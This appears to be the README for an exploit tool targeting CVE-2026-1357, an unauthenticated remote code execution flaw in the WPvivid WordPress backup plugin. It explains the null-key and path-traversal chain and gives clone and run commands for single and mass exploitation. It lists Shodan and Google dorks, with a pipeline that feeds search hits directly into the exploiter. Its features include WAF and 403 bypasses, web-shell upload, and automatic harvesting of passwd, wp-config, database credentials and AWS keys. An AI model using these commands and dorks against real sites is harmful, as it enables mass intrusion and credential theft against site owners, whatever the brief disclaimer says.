Automated exploit tool for CVE-2026-1357, an unauthenticated RCE in WPvivid Backup & Migration. Scans WordPress targets, bypasses WAF/403, uploads a shell via path traversal, and runs post-exploitation recon with report generation.
CVE Credit: Lucas Montes (NiRoX)
Tool By: CyberTechAjju
CVSS: 9.8 (Critical) | Affected: ≤ 0.9.123 | Patched: 0.9.124
For authorized security testing only. Unauthorized access to systems is illegal.
Unauthenticated RCE in WPvivid Backup & Migration via two chained bugs:
openssl_private_decrypt() returns false on bad key → phpseclib v1 treats it as null-byte AES key → attacker encrypts with 16 null bytesname field → ../uploads/shell.php escapes backup dirConstraint: Exploitable only when wpvivid_api_token is generated and not expired.
git clone https://github.com/cybertechajju/CVE-2026-1357-poc.git
cd CVE-2026-1357-poc
pip install -r requirements.txt
# Scan only (detect WordPress + WPvivid + version)
python3 cve_2026_1357.py -u http://target.com
# Scan + Exploit + Auto Post-Exploitation
python3 cve_2026_1357.py -u http://target.com --exploit
# Exploit without post-exploitation recon
python3 cve_2026_1357.py -u http://target.com --exploit --no-post
# Mass scan with report
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report
# Through Burp proxy
python3 cve_2026_1357.py -u http://target.com --exploit --proxy http://127.0.0.1:8080
# Payload-only mode
python3 cve_2026_1357.py -u http://x --payload-only
-u, --url Single target URL
-l, --list File with URLs (one per line)
--exploit Enable exploitation mode
--shell NAME Shell filename (default: pwn_remote.php)
--no-post Skip post-exploitation recon
--report Generate markdown PoC report
--report-dir DIR Report output directory
-t, --threads N Concurrent threads (default: 5)
--timeout SECS Request timeout (default: 10)
--proxy URL HTTP proxy for Burp
--payload-only Print base64 payload & exit
See dorks.md for full list. Quick ones:
# Shodan
http.html:"wpvivid-backuprestore"
http.html:"wpvivid" http.component:"WordPress"
# Google
inurl:"/wp-content/plugins/wpvivid-backuprestore/readme.txt"
# Pipeline
shodan search 'http.html:"wpvivid-backuprestore"' --fields ip_str,port --limit 500 \
| awk '{print "http://"$1":"$2}' > targets.txt
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report
CVE-2026-1357-poc/
├── cve_2026_1357.py ← Main tool (scanner + exploiter + post-exploit)
├── dorks.md ← Shodan/Google/Censys/FOFA/ZoomEye dorks
├── requirements.txt ← Python dependencies
├── .gitignore
└── README.md ← This file
Lucas Montes (NiRoX) — CVE Discovery
CyberTechAjju — Exploit Tooling
| Feature | Description |
|---|
| 🔍 Auto-Detection | WordPress + WPvivid plugin + version fingerprinting |
| 🛡️ WAF Bypass | User-Agent rotation, header spoofing, encoding tricks |
| 🔓 403 Bypass | X-Forwarded-For, X-Original-URL, path normalization, double encoding |
| 💀 Auto-Exploit | Null-key AES payload + path traversal upload |
| 📋 Post-Exploit | Auto-runs 20+ recon commands (id, whoami, passwd, wp-config, SUID, etc.) |
| 🔑 Data Extractor | Greps DB creds, API keys, passwords, AWS keys from output |
| 📊 Report Gen | Markdown PoC report with full exploitation evidence |
| ⚡ Mass Scan | Multi-threaded with proxy/Burp support |